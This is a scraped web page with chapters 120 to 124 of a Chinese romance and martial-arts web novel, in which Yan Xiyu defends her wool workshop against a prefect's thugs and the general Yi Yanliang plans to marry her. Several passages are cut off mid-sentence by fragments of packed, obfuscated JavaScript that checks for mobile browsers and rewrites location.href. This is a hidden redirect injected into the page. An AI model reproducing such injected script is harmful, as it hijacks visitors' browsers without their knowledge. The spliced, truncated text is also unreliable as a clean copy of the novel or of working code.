l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146356|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打听卖的是什么。 羊皮子他们知道,乌州的雪天要是能有一身羊皮子缝制的厚袄子,就算大雪天出门也不怕。 这是好东西,可惜太贵了,舍不得买。家里那袄子虽然是旧了破了,但还能凑合着穿。 但……这羊毛料子却是第一次听说。 有羊毛两字,莫不是和羊毛一样暖和? 店里有仲三和杨家的两个后生,而佟瑰方在柜台后面负责收钱。 她觉得这羊毛料子不会有很多人买,毕竟它比一般的布匹要贵上不少,只不过比丝绸还是便宜很多。 好在燕惜妤把一些羊毛料子的边角料放在柜台上,若有人觉得好奇,就给对手裹在脖子上在铺子里站一会。 结果就站那么一会,脖子上裹着毛羊料子的人全都出了汗。平时后脖子哪有那么容易出汗的,一般也就前胸后背和鬓角会出汗。 都不用多说,进店的客人就开始掏银子买了。 羊毛料子的销量确实让人眼热,有心人只要雇一个人坐在铺子对面,就能清楚知道每天有多少人进来铺子里。 大承独一份的羊毛料子,在乌州销量很好。 那些走街串巷的货郎争着要拿去卖,比店里贵上几文钱也有人抢着买。 而在乌州之外,由梁屯长找来的货郎负责。那些货郎在此之前是边地解甲归田的兵卒,互相都认识。 先从埬州开始,而埬州邻州的货郎则从埬州货郎手上拿货。 燕惜妤看梁屯长把这事做的井井有条,觉得梁屯长背后的靠山应该是在兵营里的人。 但显然梁屯长的靠山并不算厉害的人,因为又有人上门闹事。 对方显然是个硬茬,根本就不怕梁屯长和他背后的人。不只在光天化日之下砸了铺子,还嚣张地把铺子里的人给直接绑到了边地。 燕惜妤当时刚好带着桑大娘和小满儿从临阜山下来,三人刚走到屯子口,就被疾驰的马蹄声吸引了注意力。 燕惜妤让桑大娘先带着小满儿回去,她自己留在屯子口。 上次听见马蹄的疾驰声,还是丁和赶过来求她救阿七。 这次又有同样的事情,该不会是阿七出事了吧? 燕惜妤皱着眉看向奔驰而来的马匹,在马匹后面,还有一架马车和一架板车。 坐在板车上赶车的是个凶神恶煞的大汉,他用力把手中鞭子抽在马身上,板车在疾驰中颠簸的很厉害。 这伙人骑马奔着屯子而来,个个都是身穿黑色紧身衣的大汉,燕惜妤一时无法确定对方是不是丁和找来的人。 她就站在路边,正面看着来人。 对方有一人忽然指着她大喊:“就是这个妖女!” 这一声大喊,骑马而来的黑衣人全都收紧缰绳停下了马。 还真是找我的? 燕惜妤皱了皱眉。 她的视线扫过这伙黑衣人,又看向那马车,最后看了看那架板车。 结果板车上忽然冒出一颗脑袋—— 仲三被人五花大绑着,嘴里还塞着布巾。 这一路他和其他三人因为颠簸的板车被撞的骨头都快要裂了,这时板车停了下来,他连忙挣扎着咕蛹着先是就着杨开的身体往上爬,然后就看见了燕惜妤。 “唔唔唔!!!”仲三瞪大肿胀的眼睛。 他眼前人影一花,燕惜妤已经站到了板车旁边。 板车里不仅有仲三,还有佟瑰方和杨家那两个后生,全都被五花大绑着。 佟瑰方估计是在路上板车颠簸着撞到了头,发髻散了大半,很是狼狈。 她侧趴在板车上用力抬了抬头,看着燕惜妤的眼神还算镇定。 燕惜妤看着她,缓缓抬起了头。 这伙黑衣人还全都骑着马上,之前认出她的那个大汉伸手指着她,脸上有着明显的恐惧:“就是这样!上次这个妖女就是这样!根本看不清她的动作,她就把我们全都砸在了地上!” 燕惜妤认不出这人,但从这人话里听了出来。 “程家的人?上次来找事的也是你们?”燕惜妤话音刚落,人就已经站在了板车上。 那赶车的黑衣大汉正要拔出腰间的大刀,下一霎人就已经横飞了出去,而他腰间的刀已到了燕惜妤的手中。 燕惜妤向前一步,头都没低,握刀的手转了几下,仲三他们身上的绳子瞬间就全都断了。 仲三一个翻身坐了起来,用力扯出嘴里的布巾,哑着嗓子说:“燕姑娘,我们的铺子被他们砸了,羊毛料子和羊皮子也被抢走了!” 燕惜妤扫了一眼自始至终都没有声响的马车:“衙门的人没有出现?” “没有!”仲三攥紧了双拳,“根本就没人管!” 燕惜妤知道了,这伙人的背后靠山是在衙门里当官的。 燕惜妤看向马车垂下的车帘:“你们哪里来的?泰县?还是化县?” 羊毛料子现在只卖到了埬州,埬州的人不敢明目张胆地来乌州搞事,这伙人只能是来自乌州。 马车里忽然传出了一声嗤笑声:“你等贱民还不配知道。” 121. 第121章 燕惜妤听他这句话,也不生气,而是慢条斯理地点了点头:“不说是吧?那就不用说了。” “了”字才刚出口,她的人已经倏地进入了马车之中。 外边围着她的黑衣人反应也很迅速,立即扑向了马车。 却没想到马车猛地从里面炸开,木制的车厢瞬间四分五裂往外飞,那些黑衣人纷纷躲避飞溅过来的木块。 再定睛一看,马车里的人已经被燕惜妤踩在了脚下。 似是头领的黑衣人脸色突变:“你这妖女快放了张师爷!你可知道你得罪的是谁?!” “我管他是谁,”燕惜妤左脚踩着张师爷的脸,而张师爷则狼狈地趴着,张大着嘴想说话,却被燕惜妤加重了踩在他脸上的力道,令他发不出声音。 “你这妖女想做什么?”黑衣人大声疾呼。 “该是我问你们想做什么?”燕惜妤皱着眉扫了眼围着她的黑衣人,“无缘无故砸我的店,绑我的人还敢找上门,倒打一耙说的就是你们吧。” “劝你别敬酒不吃吃罚酒,”黑衣人用大刀指着燕惜妤,“快把张师爷给放了!” 燕惜妤垂眼看了看脚下踩着的人,脚缓缓挪动。 众人都以为她是抬起脚,却没想到她把脚移到了张师爷的脖子上。 她这动作很明显是想杀人! 张师爷泛白的脸这时更是变成了死灰色。 “我这人向来睚眦必报,”燕惜妤抬起眼冷冷地看着眼前的黑衣人,“今日你们既然来了,那就谁也别想离开!” “杀了她!”被踩着脖子的张师爷忽然吼道,“她不敢真的杀我,快给我杀了她!” 黑衣人都听他的,这时齐齐举着大刀扑了过来。 燕惜妤的人倏地凭空消失在板车上,张师爷只觉得脖子上的力度一轻,连忙翻身坐起来,就这么几霎,扑过来的黑衣人被燕惜妤全都给踢飞了出去! 张师爷心头一惊,慌忙着想跳下马车,忽地就被人一脚又踹倒,紧接着,他的脖子又被燕惜妤踩在脚下! 这下张师爷不敢再说话了,他侧着头趴在地上,看着全被踢飞出去的黑衣人挣扎着捡起刀慢慢地又围了上来。 燕惜妤眼中闪过一丝不耐烦,她冷哼一声,脚下正要用力踩下去,忽然响起了一阵绵长的瓮声。 这声音低沉而又浑厚,像是从地底下发出来的声音,很是震撼人心。 燕惜妤一怔,她没听过这种声音。 而张师爷和那伙黑衣人却是脸色全都变了。 这是军中号角声,在这边地,只有羿家军营中才有号角。而号角一旦吹响,代表着羿少将军的出现! 羿衍椋回来了?! 黑衣人全都转头看向羿家兵营的驻地方向,燕惜妤留意到他们的动作,扫了眼还愣在板车上的几人。 佟瑰方留意到她看过来的目光,对视了一霎,在燕惜妤的视线瞥向屯子口时,她立即会意。 “我们快跑!”她压低声音对身边的其他三人说。 仲三和杨家的两个后生先是瞥了一眼那些黑衣人,见没谁留意他们,连忙护着佟瑰方轻手轻脚下了马车,然后拔腿就跑。 黑衣人听见了声响,但他们没动作,只是盯着正向这边而来的一支骑兵。 燕惜妤也看出这支队伍是骑兵,因为这些人身穿乌黑盔甲,就连骑着的马匹都套有同色的盔甲。 而最前面的那个人,身上的盔甲在日头下闪着刺眼的银光。 燕惜妤不只认识这个人,还认识这个人骑着的马。 是阿七! 羿家铁骑越来越近,那伙黑衣人下意识就往后退。 羿衍椋带着人来到他们面前,先是冷冷地扫了他们一眼,然后面无表情地说:“回去告诉郑知州,这乌州还轮不到他一手遮天。” 他边说,边看了燕惜妤一眼。 燕惜妤扬了扬眉。 知州,一州之主,乌州的父母官。 杀了这师爷,就等于得罪了大承的官员,而知州的背后是朝廷。 燕惜妤看了眼屯子口的方向,发现那里站着不少人,有刚才跑过去的佟瑰方等人,还有桑大娘和罗采春仲茂他们,梁屯长和杨元正也在,还在屯里的邻居。 她无声地撇了撇嘴,然后移开踩着张师爷的脚。 张师爷立马屁滚尿流地爬下破烂不堪的马车,带着黑衣人仓皇逃窜。 燕惜妤还站在没了厢顶的破烂马车里,她看着羿衍椋,羿衍椋也在看她。 一身银甲的羿衍椋,总算让燕惜妤心里有了“这人是位少将军”的真实感受。 “燕姑娘,我回来了,”羿衍椋帅气地翻身下马。 燕惜妤看见他的动作,也飒爽地从马车上跃了下来。 俩人面对面地站着,燕惜妤把羿衍椋上上下下打量了一番:“你没事了?” “没事了,”羿衍椋脸上一转刚才面对张师爷冷漠无情的样子,此时看着燕惜妤的眼中全是温柔,“我来多谢燕姑娘之前的救命和帮助之恩。” “小事,”燕惜妤龇牙一笑,“你没事就好。” 羿衍椋看见她笑,他自己也跟着笑。 他这一笑,就又是之前和燕惜妤一道同路来乌州时的阿七。 “阿七……”燕惜妤下意识开口,却又连忙改口,“羿少将军。” “我在羿家行七,弟弟妹妹都叫我七哥,”羿衍椋看着燕惜妤,“燕姑娘还是喊我阿七,听着亲切很多。” 燕惜妤点点头,扫了眼他身后的铁骑:“你刚回来?” “嗯,一回来就来找你,”羿衍椋点头,“怕你担心。” 燕惜妤眨了眨眼。 她压根就没担心过阿七,因为她这段时间忙昏了头,根本就没时间去担心去了皇都的羿衍椋。 “那你回来的很及时,”燕惜妤瞟了眼旁边那破破烂烂的马车,“刚才那人是知州的师爷?” “是,”羿衍椋见燕惜妤转移话题,他眼中阴郁一闪而过,“方才的是郑知州身边的张师爷。” “知州……”燕惜妤眯着眼睛看羿衍椋,“我记得我来边地前,大家都说边地归你们羿家军营管,他的师爷怎么就敢来到你的地盘撒野?” 羿衍椋笑而不答。 “是因为你被抓走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151304|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,”燕惜妤瞬间就猜到了原因。 “是,”羿衍椋笑着点点头,“我被九皇子抓走还被游街示众,军中的众将士自然是要养晦韬光暂避锋芒。” 羿家少将军被抓走了,羿家军的将士自然是要夹着尾巴做人,遇事都要忍声吞气,怕会给羿家带来更多的麻烦。 “那这知州他再怎么说也是一州之主,他的师爷怎么就盯上我了?”燕惜妤这点想不明白。 “他为何而来?”羿衍椋刚回,有些事还不知道。 于是燕惜妤就把羊毛料子的事情说给他听。 羿衍椋听着听着,眉梢越挑越高。 他摇摇头:“大承独一份的羊毛料子,怪不得他会起贪念。” “不是,他一个知州,他没银子吗,”燕惜妤奇怪道,“他为什么想要我的羊毛坊?” “大承富饶的州县有不少,可乌州是大承最穷困的州县,在这里当官,就如同那些流放过来的犯人一样,看不到盼头,”羿衍椋眼中有着厌恶,“所以某些官员才会想尽办法离开这里,而你那大承独一份的羊毛作坊,正好给了他们调离乌州的指望。” “拿我的东西当向上爬的献礼啊,”燕惜妤哼了一声,“真有胆。” 羿衍椋看着她摇摇头:“若是换了旁人,羊毛作坊还真是保不住,都说民不与官斗,他们来找你就是指定你不敢反抗。” 谁能想到他们这次想错了,燕惜妤压根就没把大承的官员放在眼里。 终日抓鹰却被鹰啄了眼,郑知州大概也没想到会是这种结果。 “他们砸了我的铺子,还伤了我的人,”燕惜妤皱眉,“我得给他们报仇。” 羿衍椋问:“要杀了他们吗?” 燕惜妤转头看看屯里站着的那些人,苦着脸说:“不杀。” 她的羊毛作坊是和屯子里的这些人一起办起来的,若为了这事杀了朝廷命官,屯里那些在作坊做活的人估计会受到牵拉。 屯里住的这些人,有流放过来的,有家乡受灾逃难过来的,都是些苦命人,好不容易在作坊里能赚到些辛苦钱,她不能毁了他们的生活。 羿衍椋又问:“那让他赔钱?” “嗯,”燕惜妤点点头。 “这事交给我,”羿衍椋说,“我回来了,总得去问候一下州县的各位大人。” 燕惜妤总觉得他这话另有深意。 她看看他,忽然想到了一件事。 “阿七,你看那座大山,”燕惜妤伸手指了指某座大山。 羿衍椋顺着她指的方向看过去:“临阜山,这座山怎么了?” “这座临阜山是我的,”燕惜妤下巴一抬,“我买下了。”虽然只花了两枚铜板。 “你买下了?”羿衍椋皱了皱眉,“泰县知县刘运卖给你的?你可知临阜山只有一半属于大承,另一半属于夷狄?” “我知道啊,”燕惜妤点点头,“我就是想要这座大山。” 羿衍椋沉默了一霎,最后点点头:“我知道了。” 既然她喜欢这座位于两国交界的大山,那以后他就守着这里,绝不让夷狄人踏进山里一步! 122. 第122章 羿衍椋忽然回来,兵营的众将士们很是心潮澎湃! 少将军安然无恙地回来,表示他们一直追随着的羿家是清白的! 这令众将士们弯下的腰杆瞬间又挺直了! 羿衍椋在兵营里走了一圈,让手下的将士确认了是他本人,然后就回家。 除了羿府,羿家在乌州另有两处陛下赏赐的住宅。 先是将军府,这是赏给羿衍椋他父亲的,再就是少将军府,这是赏给羿衍椋的。 他先回了趟少将军府,梳洗一番之后,换上袍服戴了玉冠,然后准备去将军府见他母亲。 丁和作为少将军府的管家,在檐下送他。 羿衍椋在上马前,忽然对丁和说:“你去找刘运,把临阜山附近的山头全都买下来。” 丁和不知道他为什么要买山头,但少将军吩咐,他只管去做。 “是,”丁和躬身应道,“属下这就去找刘知县。” 羿衍椋这才上马离去。 到了将军府,羿夫人早早就在等着他。 羿家的儿郎除非天生羸弱,否则总是会被父辈带着习武,最后一生都要为大承守着国门。 羿夫人在出嫁前就已经知晓这些事,她无法阻拦自家夫君和儿子带兵上战场,她只能守好羿家,等着儿子和夫君安全归来。 羿衍椋这次被九皇子抓走,羿夫人倒没有像羿衍椋上战场时那么的担心,但羿衍椋被关在牢车里游街示众,却叫她心焦。 这时见儿子安然无恙地回来,羿夫人总算是能放下心来。她想着儿子受了委屈,今岁就不拿成亲之事为难他了,却没想到羿衍椋忽然就跪在了她的面前。 “衍椋,你这是?”羿夫人下意识伸手要把儿子扶起来。 但羿衍椋却跪着不动:“母亲,儿子想求您一件事。” 羿夫人皱眉问:“是何事要让我儿跪着说?” “母亲,儿子……心悦一位姑娘,”羿衍椋跪的笔直,眼中露出渴望,“儿子想求母亲成全。” 大承关于婚娶一事,讲究父母之命媒妁之言。 当然,家中儿女若有心仪之人,也是可以求父母请媒人去对方家中提亲的。 像羿衍椋这种常年在兵营中操练的人,大多都是迟迟不愿成亲,一腔热血全都奉献给了陛下和朝廷。 现在羿衍椋说有心仪的姑娘,羿夫人自然是欢喜的。 她高兴地伸手想把羿衍椋扶起来:“我儿有喜欢的姑娘了?是好事啊!你怎的还跪着?你起来同母亲说说是皇都里哪家的姑娘,母亲这就去皇都请媒人上门提亲!” 羿衍椋仍然跪着没动:“母亲,那姑娘并不是在皇都。” 羿夫人一愣,忽然想到羿衍椋此去皇都是为了自救,他不可能在这紧要关头去认识人家姑娘。 羿夫人问:“不在皇都?那是哪里人氏?” “她住在乌州边地,”羿衍椋说,“就住在兵营附近的屯子里。” 羿夫人心里咯噔一下,她看着羿衍椋,把想扶他起来的手缩了回去:“你是如何认识那位姑娘的?” 羿衍椋实话实说:“先前儿子同她一道来的乌州。” 羿夫人不说话了。 羿衍椋被九皇子以勾结前朝余孽的理由抓走,羿夫人自然是知道的。 九皇子不可能什么证据都没有就敢抓捕兵营的将军,他当时给出的证据,就是羿衍椋曾和燕氏女子同路来的乌州,而盛樗容是人证,物证也出自盛樗容之手。 “儿子,你喜欢的姑娘……”羿夫人忽然不敢再问下去。 但羿衍椋没有回避这个问题:“母亲,她姓燕,叫燕惜妤。” “你且跪着吧!”羿夫人一拂衣袖,转身进了内室。 羿衍椋笔直地跪着,任侍从和护卫劝了一次又一次,仍然执拗地跪着。 从来都是父母拗不过儿女的。 羿夫人被丫鬟扶着走出来,无奈叹气道:“儿子,为娘问你,你当真想娶那位燕姑娘?” 她的自称从母亲改为了娘,这是要松口的意思。 “是,儿子想娶燕姑娘,”羿衍椋直直地看着羿夫人,“希望娘能全。” “起来吧,”羿夫人坐下,对着羿衍椋抬手,“别跪了,难道为娘不扶你,你就不起来了?” 羿衍椋这才单手撑着旁边的圆桌站了起来,他跪太久了,不撑着点还真有可能起不来。 “既是你自己喜欢的,娘也不阻拦你,”羿夫人拉着羿衍椋的手,让他坐下,语重心长地说,“若你当真娶了那燕姑娘,你该知道你日后将会面临着什么样的事情,你可都想好了?” “娘,儿子都想好了,”羿衍椋点点头,“儿子知道这事让娘亲为难了。” “娘不为难,”羿夫人却是摇摇头,“最为难的人,该是燕姑娘才是。” 羿衍椋抿了抿嘴唇,没说话。 “儿啊,”羿夫人叹气,“燕姑娘若是嫁的普通人,此生或能平平安安地渡过,可她要是嫁了你,她今日的人生将有可能会风雨飘摇难安宁,你于她而言,并不是最好的归宿。” 无论是不是前朝皇族的后裔,只要燕惜妤姓燕,那她必定被大承朝廷所防备着,若她嫁个普通人,过着普通的日子,和朝廷和官场和军中之人没有任何关联,那她才能有着安稳的人生。 可若燕惜妤嫁给了羿衍椋,那对大承皇室而言,她就是个极为不安的隐患。万一她和前朝真的有所关系,而有一天她又忽然想复辟燕氏皇朝,那羿衍椋又能抵得过几次枕头风呢? 若羿衍椋真的和燕惜妤成亲,陛下肯定会防着羿衍椋,防着羿家,但羿家却又手握重兵,到那时,陛下要么舍弃羿家,要么……杀了燕惜妤。 这些羿衍椋都知道。 但他真的很喜欢很喜欢燕惜妤,他想娶燕惜妤。 “娘,九皇子以她为借口抓我,她已经被朝中的某些人盯上了,若她……嫁给普通人,儿子怕她会出事,”羿衍椋眼神阴郁,“她对前朝之事一无所知,她只是碰巧姓燕而已,儿子若不日夜守着她护着她,朝中那些人终会逼迫她成为前朝皇族后裔的,他们从来不需要什么是事实,只需要于他们有用便能造出所谓的事实。” 就像九皇子拿盛樗容从他这里借走的那本兵书作假一样,不管真相,不理事实,只要能实现他们的目的,任何人任何事都可以利用。 盛樗容是九皇子的亲表弟,九皇子都能利用他。 燕惜妤独身一人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155337|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边跟着的都是些穷苦百姓,那帮人虽然打不过她,但若是使用诡计陷害她,那真的是防不胜防。 “罢了,你既已想明白,娘不劝你,”羿夫人无奈地摇了摇头,“娘会请媒人上门先说媒,若燕姑娘家人同意,娘再前去提亲。” “娘,儿子还有一事,”羿衍椋垂着脑袋说,“燕姑娘……或许不愿意嫁于我。” “嗯?”羿夫人先是一愣,再就是笑出了声,“原来我的儿竟然是一厢情愿。” “我和燕惜妤是知己,”羿衍椋不承认,“儿子定会讨得她芳心。” “罢了罢了,”羿夫人摆摆手,“这事且容为娘先想想,若请媒人贸然前去说媒,娘怕你这桩婚事怕是成不了。” “娘一定要帮儿子,”羿衍椋有些急,他就是知道自己不能对燕惜妤直接了当地说要娶她,这才求助他的母亲,“娘,儿子不敢说,都说婚姻大事是父母之命媒妁之言,儿子若先对燕姑娘表明心意,怕会冒犯了燕姑娘。” 在大承,明媒正娶从来是先有父母之命,再有媒妁之言,且该是男方去女方家提亲,这是对女方的尊重和重视。 就算是私下先有意惹情牵,那也该是请媒人上门说媒,待女方那边没有拒绝,男方再上门提亲,然后才互相表明心意。 羿衍椋想给燕惜妤最好的,他为她想好了一切。 “好好,”羿夫人轻轻拍了拍羿衍椋的手背,“我儿莫急,娘定会寻来乌州最好的媒人前去说媒。” 羿衍椋心急,但他再急也没用,只能从怀中取出一个是盒子递给羿夫人:“娘,这是儿子想送给燕姑娘的饰物。” “我儿都已经会给人家姑娘先饰物了,”羿夫人一脸的欣慰,“娘一直怕你会成为旷夫。” 羿衍椋没说话,他若不是遇见了燕惜妤,他还真有可能当个旷夫。 这时,将军府的管家急匆匆走了进来:“夫人,少将军,有从皇都远道而来的贵客。” 羿夫人和羿衍椋一怔,羿府已是贵胄,那来的贵客会是谁? 羿衍椋扶着羿夫人站了起来:“把贵客请进来。” 厅外花廊传来爽朗的笑声:“羿夫人,少将军,不需人来请,我们已经进来了。” 羿衍椋一听这声音,眼神倏地变了。 与此同时,泰县知县府中,刘知县和属下也在说着这远道而来的贵客。 “师爷,你觉得这次来的会是谁?”刘知县坐在太师椅上,皱着眉头说,“上次九皇子是带着兵马浩浩荡荡过来的,但最起码本官知道是九皇子来了,但这次却是不知此人的身份来头。” “总归是从皇都过来的,”师爷摸着胡须说,“且又是去的将军府,有事也由羿家撑着,大人请放宽心。” “你觉得这次也会没事?”刘知县看着他。 师爷低声说:“属下不敢妄言,不过上次九皇子亲自来抓的人,少将军都能安然无恙地回来,除非此次来的是某位王爷,否则羿府还真没谁能动得了。” 刘知县想了想,觉得师爷这话很对,他点点头:“那本官可就等着看他们各自斗法,反正……” 他说还没说完,管家一路鬼哭狼嚎地冲了进来:“老爷不好了!那煞神又来了!!!” 123. 第123章 “什么?!!”刘知县一下子就从椅子上蹿到了桌子底下,“快拦下她!” “老爷!实在是拦不住啊!”管家抖着脚说,“府中没人敢拦她,也没人能拦下她啊!” “就、就同她说我不在!”刘知县那么大一个人,硬是卷缩着躲在又窄又矮的桌子底下,“快!去同她说我不在!” 但这次管家没回话,书房内忽然静的让他害怕! “知县大人,”燕惜妤迈过门槛,看着桌子底下的人,“你怎么在桌子底下?” 刘知县一听这声音,吓得瞬间瘫软在地:“你、你你女侠怎的又、又来了?!!” 上回不是说好不再来的吗?你身为煞神,怎么能说话不算话啊?!! “我有事找你,”燕惜妤向前走了两步,扫了眼缩在角落贴着墙站着的管家,然后看向虽然面色难看但仍站在房中的师爷,“把你家大人扶起来。” 师爷手脚略为僵硬地过去弯腰扶刘知县:“大人先出来。” 刘知县抱着桌脚死活不愿出来。 燕惜妤冷哼了一声:“知县大人这新屋子盖得不错。” 刘知县面色骤然又是一变。 上次被她一掌拍塌的书房早就拆了重建,可这新盖的书房也未必能承受得住她的一巴掌。 “女侠别别别动手!我出来了我这出来了!”刘知县慌忙从桌子底下爬了出来,若这煞神当真又一巴掌拍塌这新书房,他躲在桌子底下岂不是正好被压住!! 刘知县被师爷扶着站了起来,离羿燕惜妤远远地站着:“不知女侠这次来,所为何事?” 他不请燕惜妤坐,燕惜妤自己坐下了:“我有架板车在你府外大门前,你先叫人拉进来。” 刘知县连忙冲管家:“按照女侠说得去做。” 管家慌忙跑了出去,很快就亲自牵着一匹拉着板车的马走了回来:“老爷,女侠,这板车拉来了。” “知县大人,我先前在夷狄那边换了些石头,我来给你送几块,就当是还了我欠的买山头的钱,”燕惜妤指了指板车里推着的石头,“随便知县大人挑十块。” “哎?!”刘知县一下子就懵了,他显然不敢相信燕惜妤只是为了这事过来的,他还以为燕惜妤又要来砸他的家,“燕姑娘此次是给、给我送这玉石的?” 燕惜妤点点头:“你挑十块,就看你的手气好不好,你要是手气好,说不定能挑到最值钱的。” 刘知县盯着燕惜妤看了好一会儿,确定她不像是说假,又和师爷互相对视了一眼,在师爷对他微不可察地点点头,他这才一步一停顿地缓慢挪到板车旁边。 那板车里堆着或圆或椭圆的石块,颜色各异,有青灰有土白还有泥黄和暗黑,看着就是一堆无用的石头。 “这些都是原石吧?”刘知县随手拿起看了几眼,然后又放下,“燕姑娘,这我也挑不出来啊。”他是不敢拿,怕拿了这石头会被燕惜妤杀了。 “你不会?那你问我,我也不会啊,”燕惜妤想了想又说,“你问问你身边的这俩人,看看他们会不会选这玉石,让他们给你选。” “这……”刘知县看看师爷和管家,刚想摇头说“不用了”,他此时只想快点把这尊煞神送走。 谁知师爷这时却像是鬼上身似的忽然说:“大人府上有位江匠师,或可请他过来一看。” “!!”刘知县瞪向师爷的眼珠子都快掉出来了。你怎么回事啊?平日那么有计谋的一个人,怎的这会忽然就犯蠢了? “江匠师?”燕惜妤原本在屋里坐着,这会儿走了出来,“知县大人家里还有匠师?” 她的语气明明很平常,却把刘知县吓出一身冷汗:“这一般都会养着画师和匠师,文人喜欢这些风雅之事,我也就喜欢看看画和赏赏玉,呵呵。” “赏赏玉?既然平日喜欢赏玉,那为什么又说不懂?”燕惜妤扫了刘知县一眼,“知县大人这是在糊弄我?” “不是绝不是!”刘知县连连摆手,“我那时赏的都是玉,雕刻好的玉,女侠你这些都是石头,平日、平日也没谁会把石头拿来给我看啊。” 他这倒是实话。 他身为知县,底下的人或那些商户想讨好他,在知道他喜欢画和玉之后,送来的玉器自然是雕刻好的且很有寓意。 像是雕好的玉如意,又像是玉佩或扇坠等,总之绝不会给他送来一块丑不拉几的石头。 “这倒也是,”燕惜妤也想到了这个问题,她看看师爷,“那你把你府上的匠师请过来帮你挑吧。” “啊?可以吗?”刘知县一顿,“江老爷子他可是玉雕大师,他不仅雕工了得,挑玉石也颇有一手。” 当初江老爷子可是他父亲的座上客,他被父亲安排来这远离皇都的边地,为了补偿他,才特地把府中请的画师和匠师也送来了边地。 “那刚好让他帮你挑几块好的,然后再让他帮你雕刻,”燕惜妤很是期待,“你把人叫来,让我看看他能不能把最好的挑出来。” 刘知县看看他,然后对管家点点头,等管家出去之后,他又看向燕惜妤:“女侠,最好的要是被挑出来,那可就归我了。” “我本来就是拿来抵买山头的钱,”燕惜妤大方地一挥手,“随便你挑。” 她要是不动手,看着就是一个绿鬓朱颜的窈窕女郎。 刘知县眼珠子转了转,小心翼翼地凑过来问:“女侠打算如何处理剩下的那些玉石?” “拉去卖给陆家商铺,”燕惜妤也不认识什么商人,反正卖给谁都有可能会被坑,那干脆就卖给陆家商铺,也懒得再花时间去到处找人卖石头。 刘知县又问:“女侠认识陆家的人?” “听说过陆家商铺的名号,”虽然曾和陆家商队的曾管事同路过一段时间,但也只是一面之缘,比陌生人略微好一点,要说认识倒还真不敢说。 刘知县还想说些什么,管家已经火急火燎地拉着江匠师跑了过来:“江老爷子,您倒是走快几步啊!” “管家,我这把老骨头……”江老爷子被拖着一路小跑过来,都快岔气了,他边喘气边张大嘴想说话,在扫见那车石头时,整个人立即腿不硬了骨头也不老了,“这!这可全都是原石啊!” “江老爷子,这是……这位燕姑娘送来的,说是让我挑十块石头,我就想着让您老来掌掌眼,”刘知县对江老爷子还是很客气的,“劳您老帮我挑十块。” “好好!这可是一整车原石啊!”江老爷子是个玉痴。 他之所以愿意千里迢迢来到这边地,就是因为夷狄那边有着大量的玉石,凡是各大商队去边地换货物的日子,他都要守着商队落脚的客栈,然后从商队手中买下几块原石。 “江老爷子您坐着,”管家给江老爷子搬来了凳子,“您坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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商队在和夷狄换了原石之后,先请玉器匠师把最上好的先挑出来,然后再把最下等的也挑出来,接着在次等的石头中拿几些放到下等石头堆里,这些就卖给那些摆摊赌石的摊贩。 然后把次等的原石切割,这些会卖给玉器行,而最上等的原石会请玉匠师小心翼翼地切割,然后再雕刻,等到在需要时,雕刻好的玉器就往贵戚权门或豪门贵宅的府上送。 而燕惜妤这拉过来的一车原石,怎么从夷狄拿的,就怎么原封不动地拉了过来。 所以刘知县说她大方。 这要是挑出一块上等的玉石,别说白银两千,就像是三千五千都有人抢着买。 而她却就这么全部都拉了过来。 “我让知县大人选挑,当然想让你挑出最好的,”燕惜妤笑着说,“我从你手里买了山头,我得把银钱补给你,不能让你做赔本买卖。” 刘知县的良心忽然感到一阵刺痛。 “……其实那个,”刘知县吱吱唔唔,“其实临阜山不值钱,但要是有人买,就只能按朝廷给的价卖。” 燕惜妤看着他:“我后来想到了。” 按理来说,临阜山横跨两界,既属于大承,也属于夷狄,那大承就不可能会把临阜山卖出去。 一是怕买主会利用这座山暗中帮助夷狄人躲过边卡的检查偷入大承,二是怕买主不知道会在山上做些什么,万一要是因此惹怒夷狄,那极有可能会再次产生战争。 但刘知县他怕死,所以他把临阜山卖给了燕惜妤。 山头既然卖了出去,那按照朝廷律例,就需要收买主的银子,并把银子上交朝廷。 刘知县自己贴钱交给了朝廷,虽然之前燕惜妤说过会还银子,但他根本没放在心上。 东西都到手了,哪里还会有人再回头给钱的。 万万没想到燕惜妤还真回来给钱! 124. 第124章 “……那你这钱,我该拿还是不该拿?”刘知县有些茫然。 “你问我?”燕惜妤被逗笑了,“我怎么知道,我就是来还钱的。” 刘知县于是看向师爷:“师爷,你方才说的合作是什么意思?” “大人,燕姑娘,”师爷对着俩人躬身道,“燕姑娘既然能一次拿出这么多原石,那必定是和夷狄人有交换货物的往来,方才听见燕姑娘说要把这些玉石卖给陆家商铺,那何不雕刻出来放在夫人名下的玉器铺里,这样能赚到更多的银子。” 燕惜妤看看他,又看向刘知县:“知县大人,你们当官的很缺钱吗?” 知州想抢她的羊毛坊,而知县想和她合作卖玉器。 “……那还是缺的,”刘知县有点不好意思,“这乌州是大承最穷的地方,县里银库空荡荡,连街上酒楼的钱匣都比不过。” “……那确实有点穷,”燕惜妤抽了抽嘴角,“当然我也很穷。” 